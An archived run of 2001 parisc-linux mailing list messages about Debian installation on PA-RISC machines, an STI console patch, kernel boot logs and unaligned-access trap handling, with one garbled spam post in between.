Xref: news.gmane.org gmane.linux.ports.parisc:12283

--0F1p//8PRICkK4MW
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Mon, 24 Sep 2001, Matt Taggart wrote:

> Albert Strasheim writes...
>=20
> > Should I try the base tarball (same date... :-( ) or is that known to be
> > bad too?
>=20
> Neither are "bad" just out of date. As soon as we had a real installer=20
> everyone switched over to using that. They were left there for historical=
=20
> reasons.
>=20
> I have moved them to an old directory to prevent confusion. No one should=
 be=20
> using these any more. If, for some good reason, you can't use the normal=
=20
> installer process then I think the proper way to generate base tarballs n=
ow is=20
> to use the debootstrap tool. If there's enough demand then we could gener=
ate=20
> them and put them on the ftp site again.

I'd gotten as far as debootstrapping woody up to the point where all the
packages were installed. As you might imagine, running binaries in the
chroot on my i386 didn't work too well :-)

If it is at all possible, could you please generate new tarballs? I'm
not sure if it is possible to complete the installation on my 720/50, so
the tarball will really go a long way to getting some userland apps
running so that I can perhaps provide better information for the real
hackers who are figuring out the unaligned trap stuff.

Regards,

Albert

--0F1p//8PRICkK4MW
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7r7fjDg+hOeRZtkMRAhVnAJ9QD0vevsMwBEBKAIUR3GCcAsvv1wCfYDGa
gfdEYqYLKlU6Ea93SblIxT8=
=Zi5D
-----END PGP SIGNATURE-----

--0F1p//8PRICkK4MW--




From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Additional Address cleanup
Date: Mon, 24 Sep 2001 21:59:18 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <20010924215918.A23464@beavis.ybsoft.com>
References: <20010921104838.A2049@beavis.ybsoft.com> <3BAF13BC.3090302@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620512 26079 80.91.229.3 (22 Nov 2014 01:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: R?diger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 21:59:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE2D4482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 21:59:20 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 2CEB2BD74; Mon, 24 Sep 2001 21:59:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3BAF13BC.3090302@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12284

On Mon, Sep 24, 2001 at 01:06:36PM +0200, R?diger Scholz wrote:
> Hi there,
> 
> I've tested the patch on my 715/100. I enabled STI-Console only and no 
> STI-fb, because of the second Coral Graphics Card in my box.Using the 
> kernel 2.4.9-pa25, the new patch kernel boots out of the box, but it 
> doesn't recognize my graphics cards. I also changed the 
> kmalloc-statement according to your second mail .
> 
> I added the bootlog.
> 
> Any hints? Ruediger

First I am assuming this worked before you tested this patch....

Ok, here we found the two graphics cards in firmware....
> Found devices:
> 1. Coral SGC Graphics (10) at 0xf4000000, versions 0x4, 0x0, 0x77
> 2. Mirage GSC Builtin Graphics (10) at 0xf8000000, versions 0x13, 0x0, 0x85


Here both the devices were not claimed by the STI driver.
> sticonsole_init: searching for STI ROMs
> Warning : device (10, 0x4, 0x0, 0x77) NOT claimed by sti (native)
> Warning : device (10, 0x13, 0x0, 0x85) NOT claimed by sti (native)

if you look in the register_parisc_driver() in arch/parisc/kernel/drivers.c

you will see that this warning is printed with the driver->probe() function
returns non-zero.

                if (driver->probe(device) == 0) {
                        device->driver = driver;
                } else {
                        printk(KERN_WARNING "Warning : device (%d, 0x%x, 0x%x, 0x%x) NOT claimed by %s\n",
                                device->id.hw_type, device->id.hversion,
                                device->id.hversion_rev, device->id.sversion,
                                driver->name);
                }

The probe function for the STI drive resolves to this function sticore_pa_init()
in drivers/video/sticore.c

I would look at the different inputs/outputs from this function with and without
the patch applied.  I have been trying to duplicate your problem on the 712/100
all day without success *sigh*   I do have a 715 here I can try if you can not
locate the problem, but nothing with dual graphics cards.

Sorry, I do not have a better answer for you *sigh*  


Is anyone else having these problems? I'd like to commit this patch, but I'm
hesitent if it is causing problems.

Thanks,

- Ryan




From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.5.9-pa24 won't boot 735/125
Date: Mon, 24 Sep 2001 22:09:09 -0600 (MDT)
Lines: 205
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109242042210.17244-100000@lefou>
References: <Pine.LNX.4.33.0109201328390.14604-100000@lefou>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620513 26081 80.91.229.3 (22 Nov 2014 01:41:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:53 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 22:09:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id C35A2482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 22:09:11 -0600 (MDT)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id WAA19823
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 22:09:09 -0600
X-X-Sender: <sonny@lefou>
In-Reply-To: <Pine.LNX.4.33.0109201328390.14604-100000@lefou>
Xref: news.gmane.org gmane.linux.ports.parisc:12285

Okay, I've written off cross compiling as a loss.  I did get a 715/80
working with no obvious problems.  I've compiled a kernel with the
EARLY_BOOTUP_DEBUG flag defined.  So, I boot my 735/125 with that kernel
and get much more interesting information.  Thusly:

Trying scsi.5.0
Boot path initialized.
Attempting to load IPL.
Hard booted.
palo ipl 0.94 sonny@foucault Wed Sep 19 22:52:46 MDT 2001

Partition Start(MB) End(MB) Id Type
1               1      16   f0 Palo
2              17    2046   83 ext2
Command line: 'HOME=/ TERM=LINUX console=ttyS0 root=/dev/sda2'

Kernel: partition 2 file /boot/vmlinux
ext2_mount(partition 2) returns 0
Opening /boot/vmlinux
ext2_open(/boot/vmlinux) = 3
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1629016 mediaptr 0x1000
Segment 1 load 0028e000 size 239576 mediaptr 0x18f000
Segment 2 load 002cc000 size 353468 mediaptr 0x1ca000
Segment 3 load 00324000 size 8192 mediaptr 0x221000
Segment 4 load 00328000 size 32768 mediaptr 0x223000
Segment 5 load 0034b82c size 84992 mediaptr 0x22b82c
branching to kernel entry point 0x00100000
Linux version 2.4.9-pa24 (root@geordi) (gcc version 3.0 20010315
(prerelease)) # 4 Mon Sep 24 03:21:06 MDT 2001
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: Older Legacy Box
model   00002060 00000481 00000000 00000000 77a67807 ffffffff 00000004
0000000a
0000000a
vers    00000015
CPUID   vers 0 rev 0
model   9000/735
Total Memory: 336 Mb
pagetable_init
On node 0 totalpages: 86016
zone(0): 86016 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX console=ttyS0 root=/dev/sda2
Console: colour dummy device 160x64
Initialized PDC Console for debugging.
Calibrating delay loop... 124.51 BogoMIPS
Memory: 335820k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
POSIX conformance testing by UNIFIX
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77
2. Outfield Core BA (11) at 0xf082f000, versions 0x9, 0x0, 0x70
3. Outfield Core SCSI (10) at 0xf0825000, versions 0x9, 0x0, 0x71
4. Outfield Core LAN (802.3) (10) at 0xf0826000, versions 0x9, 0x0, 0x72
5. Outfield Core HIL (10) at 0xf0821000, versions 0x9, 0x0, 0x73
6. Outfield Core RS-232 (10) at 0xf0823000, versions 0x9, 0x0, 0x75
7. Outfield Core RS-232 (10) at 0xf0822000, versions 0x9, 0x0, 0x75
8. Outfield Core Centronics (10) at 0xf0824000, versions 0x9, 0x0,
0x74
9. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c
10. Outfield Audio (10) at 0xf1000000, versions 0x9, 0x0, 0x7f
11. Cobra EISA BA (11) at 0xfc000000, versions 0x4, 0x0, 0x76
12. Snake Cheetah (735/130) (0) at 0xfffbe000, versions 0x206, 0x0,
0x4
13. Snake Cheetah (1) at 0xfffbf000, versions 0x37, 0x0, 0x9
That's a total of 13 devices.
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
Asp version 20 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Found HIL at 0xf0821000, IRQ 94
HIL: no keyboard present.
Warning : device (10, 0x9, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 0B 53 75 IRQ 87.
82596.c $Revision: 1.22 $
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST32430N          Rev: 0510
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
SCSI device sda: 4197405 512-byte hdwr sectors (2149 MB)
Partition check:
 sda: sda1 sda2
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
ip_conntrack (2623 buckets, 20984 max)
ip_tables: (c)2000 Netfilter core team
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
INIT: version 2.78 booting
Activating swap...
Checking root file system...
Parallelizing fsck version 1.19 (13-Jul-2000)
/dev/sda2 was not cleanly unmounted, check forced.
/dev/sda2: 29437/260096 files (0.1% non-contiguous), 94659/519769
blocks
Checking all file systems...
Parallelizing fsck version 1.19 (13-Jul-2000)
Setting kernel variables.
Mounting local filesystems...
not mounted anything
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: eth0: Transceiver problem.
done.

Setting the System Clock using the Hardware Clock as reference...
Cannot access the Hardware Clock via any known method.
Use the --debug option to see the details of our search for an access
method.
System Clock set. Local time: Tue Sep 25 20:35:45 MDT 2001

Cleaning: /tmp /var/lock /var/run.

At this point the system refuses to give any more output.  I can ping the
box, but there are no services running (sshd is supposed to start up.)  I
also assume that the root file system (/dev/sdb2) is indeed mounted,
because if I just cold reboot, it has to fsck the filesystem next time.

The kernel is compiled without STI or framebuffer support.  It also has
all of the non experimental iptables options compiled in.

Any ideas???


On Thu, 20 Sep 2001, Sonny Cook wrote:

> Hi,
> I just tried my hand at cross compiling the parisc-linux kernel on my x86
> box.  Something compiled, so I put the vmlinux on my 735/125 and tried to
> boot it.  It went like this:
>
> Hard booted.
> palo ipl 0.94 sonny@foucault Wed Sep 19 22:52:46 MDT 2001
> 0/vmlinux32 3153422 bytes @ 0x48000
> Partition Start(MB) End(MB) Id Type
> 1               1      16   f0 Palo
> 2              17    2046   83 ext2
>
> Command line: 'HOME=/ TERM=LINUX console=tty root=/dev/sda2'
>
> Kernel: partition 2 file /boot/vmlinux
> ext2 block size 4096
> ext2_mount(partition 2) returns 0
> Opening /boot/vmlinux
> ext2_open(/boot/vmlinux) = 3
> ELF32 executable
> Entry 001000d0 first 00100000 n 6
> Segment 0 load 00100000 size 1714332 mediaptr 0x1000
> Segment 1 load 002a4000 size 281768 mediaptr 0x1a4000
> Segment 2 load 002ec000 size 376840 mediaptr 0x1e9000
> Segment 3 load 0034c000 size 8192 mediaptr 0x246000
> Segment 4 load 00350000 size 32768 mediaptr 0x248000
> Segment 5 load 0038d684 size 88048 mediaptr 0x250684
> branching to kernel entry point 0x001000d0
>
> At this point, I can't even think where to begin looking for problems.
> Any hints?
>
> Thanks,
> Sonny
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: emailbase@371.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2ڵվĵʼ
Date: Sat, 22 Nov 2014 01:41:53 +0000 (UTC)
Lines: 21
Approved: news@gmane.org
Message-ID: <20010925050945.6196.qmail@mailserv2.iuinc.com>
Reply-To: coolstarpage <service@coolstarpage.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620513 26085 80.91.229.3 (22 Nov 2014 01:41:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:53 +0000 (UTC)
To: "" <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 23:09:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63C8248EB
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 23:09:12 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA31355
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Sep 2001 23:06:26 -0600
Original-Received: (qmail 6197 invoked by uid 15267); 25 Sep 2001 05:09:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6178 invoked from network); 25 Sep 2001 05:09:44 -0000
Original-Received: from unknown (HELO 371.net) (202.102.242.178)
  by mailserv2.iuinc.com with SMTP; 25 Sep 2001 05:09:44 -0000
Original-Received: (umta 17159 invoked from network); 25 Sep 2001 05:00:00 -0000
Original-Received: from unknown (HELO coolstarpage) (61.163.56.21)
  by localhost with SMTP; 25 Sep 2001 05:00:00 -0000
Original-Date: Wed,25  2001 13:04:58 +0800
X-Priority: 1
X-MSMail-Priority: High
Xref: news.gmane.org gmane.linux.ports.parisc:12286

ʼ19593Ѽʱ䣺20017-9

ѼΧ
1sohuվĿ¼ȫվ
2sinaվĿ¼ҵվۺվԼվ㡣
3׷վĿ¼ҵվۺվԼվ㡣
4googleлŹؼȡ1000ڵվĵʼ
5վԱйص̳԰塣
6ڶаվ
7վйصҳ


Ŀ¼ṩϿж


ϸ:http://hbzxnew.www71.cn4e.com/news/email/index.asp






From - Thu Nov 08 21:19:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.5.9-pa24 won't boot 735/125
Date: Tue, 25 Sep 2001 09:24:02 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20010925092401.M5051@linuxcare.com>
References: <Pine.LNX.4.33.0109201328390.14604-100000@lefou> <Pine.LNX.4.33.0109242042210.17244-100000@lefou>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620513 26088 80.91.229.3 (22 Nov 2014 01:41:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 02:25:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07227482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 02:25:27 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5FCE0B00C; Tue, 25 Sep 2001 09:24:02 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0109242042210.17244-100000@lefou>; from sonny@aspersion.org on Mon, Sep 24, 2001 at 10:09:09PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12287

On Mon, Sep 24, 2001 at 10:09:09PM -0600, Sonny Cook wrote:
> Okay, I've written off cross compiling as a loss.  I did get a 715/80
> working with no obvious problems.  I've compiled a kernel with the
> EARLY_BOOTUP_DEBUG flag defined.  So, I boot my 735/125 with that kernel
> and get much more interesting information.  Thusly:
...
> Setting the System Clock using the Hardware Clock as reference...
> Cannot access the Hardware Clock via any known method.
> Use the --debug option to see the details of our search for an access
> method.
> System Clock set. Local time: Tue Sep 25 20:35:45 MDT 2001
> 
> Cleaning: /tmp /var/lock /var/run.
> 
> At this point the system refuses to give any more output.  I can ping the
> box, but there are no services running (sshd is supposed to start up.)  I
> also assume that the root file system (/dev/sdb2) is indeed mounted,
> because if I just cold reboot, it has to fsck the filesystem next time.
> 
> The kernel is compiled without STI or framebuffer support.  It also has
> all of the non experimental iptables options compiled in.

To eliminate the possibility of a kernel config problem, I would
make distclean; cp arch/parisc/debian-configs/32 .config; make oldconfig
make dep; make

The other thing you can try is booting with init=/bin/sh and try
starting things up by hand to see what hangs it.  Or maybe remove
non-essentail services, then if it boots ok try starting them one
by one.

Richard





From - Thu Nov 08 21:19:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Tue, 25 Sep 2001 07:07:57 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <200109251107.HAA12337@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620513 26093 80.91.229.3 (22 Nov 2014 01:41:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 05:08:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id C558E482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 05:08:01 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id HAA12337
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 07:07:57 -0400
Content-ID: <12332.1001416077.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12288

>Hello,
>
>I've since tried the other case 18 fall-through option, and it worked up
>to the point where I am now installing from the 0.9.2 CD-ROM.
>
>Do you still want me to decode this crash?
>
>Regards,
>
>Albert

Hi! 

I don't think You have to decode it. It's clear, what happened. 
Interruption 18 on your machine has equivalent functionality to
interruptions 26, 27 and 28 on newer ones. I thought, that the
interruption you were getting was unaligned access (28), so the idea
was to call handle_unaligned. Clearly, you were getting 26, which
is handled by do_page_fault, so that calling handle_unaligned 
didn't do You any good. It entered the handle_unaligned, but when 
it tried to access the memory byte-by-byte, it trapped with 18 
again and this time it was from inside the kernel, so it ended 
up dead. If someone would give me an idea on how to decide, which 
handler to call for interruption 18, I could try and produce a 
workable workaround.

Best regards,

Jurij Smakov. 

P.S. I can't connect to www.parisc-linux.org and my previous posts did
not appear in the archives (some routing problems, I guess). Also, I
haven't got anything from the list during last 18 hours. I'm posting
from this address instead of my usual one instead. Please cc relevant 
posts to jurijus@theophys.kth.se







From - Thu Nov 08 21:19:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Soete Joel <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to merge Kernel 2.4.9 for hppa and new kernel 2.4.10
Date: Tue, 25 Sep 2001 16:07:31 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <3BB0ABC3.5DFC617E@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620514 26096 80.91.229.3 (22 Nov 2014 01:41:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:54 +0000 (UTC)
Cc: JSO@EUROPAY.COM
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 10:02:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A693482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 10:02:03 -0600 (MDT)
Original-Received: from ppp-18-015.tiscalinet.be ([212.35.18.16] helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 15luen-0002qj-00; Tue, 25 Sep 2001 18:02:01 +0200
Original-Sender: jso@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12289

Hi all,

I just learn that new release 2.4.10 of GNU/linux kernel was released.
I am curious to know how to merge last kernel 2.4.9-paxx and the new
2.4.10?
Is somebody can explain me or where to find relevant info?

Thanks in advance for help,
	Joel




From - Thu Nov 08 21:19:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Additional Address cleanup
Date: Tue, 25 Sep 2001 19:33:45 +0200
Lines: 553
Approved: news@gmane.org
Message-ID: <3BB0BFF9.50708@hrzpub.tu-darmstadt.de>
References: <20010921104838.A2049@beavis.ybsoft.com> <3BAF13BC.3090302@hrzpub.tu-darmstadt.de> <20010924215918.A23464@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------010101030300000003010504"
X-Trace: ger.gmane.org 1416620514 26100 80.91.229.3 (22 Nov 2014 01:41:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 11:09:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6E10482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 11:09:55 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (dialin-145-254-195-191.arcor-ip.net [145.254.195.191])
	by mx04.nexgo.de (Postfix) with ESMTP
	id 6C2BA37B3F; Tue, 25 Sep 2001 19:09:44 +0200 (CEST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) Gecko/20010913
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12290

This is a multi-part message in MIME format.
--------------010101030300000003010504
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Ryan Bradetich wrote:

>
>First I am assuming this worked before you tested this patch....
>
No ;-) It crashes, when the kernel tries to initialize the first 
graphics card (Coral), during STICALL (...) in function sti_init_graph...

>
>Ok, here we found the two graphics cards in firmware....
>
>>Found devices:
>>1. Coral SGC Graphics (10) at 0xf4000000, versions 0x4, 0x0, 0x77
>>2. Mirage GSC Builtin Graphics (10) at 0xf8000000, versions 0x13, 0x0, 0x85
>>
>
>The probe function for the STI drive resolves to this function sticore_pa_init()
>in drivers/video/sticore.c
>
>I would look at the different inputs/outputs from this function with and without
>the patch applied.
>
In which inputs/outputs are you interested.

>  I have been trying to duplicate your problem on the 712/100
>all day without success *sigh*   I do have a 715 here I can try if you can not
>locate the problem, but nothing with dual graphics cards.
>
>Sorry, I do not have a better answer for you *sigh*  
>
>
>Is anyone else having these problems? I'd like to commit this patch, but I'm
>hesitent if it is causing problems.
>

I hoped your patch would bring my two graphics card to work. But they 
didn't work before the patch either, so it doesn't matter that your 
patch is no solution for my problem.
Is there a STI-Console guru on the list, who is interested in solving 
this little problem?! :-)
I have adde a bootlog from my machine, booting a kernel without your 
patch (I enabled DPRINTK for the File sticore.h).

Thanks for your help,
        Ruediger

--------------010101030300000003010504
Content-Type: text/plain;
 name="stilognew.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="stilognew.txt"



----------------------------------------------------------------------------
BootRom Version    1.4  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.

Starting Auto boot
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
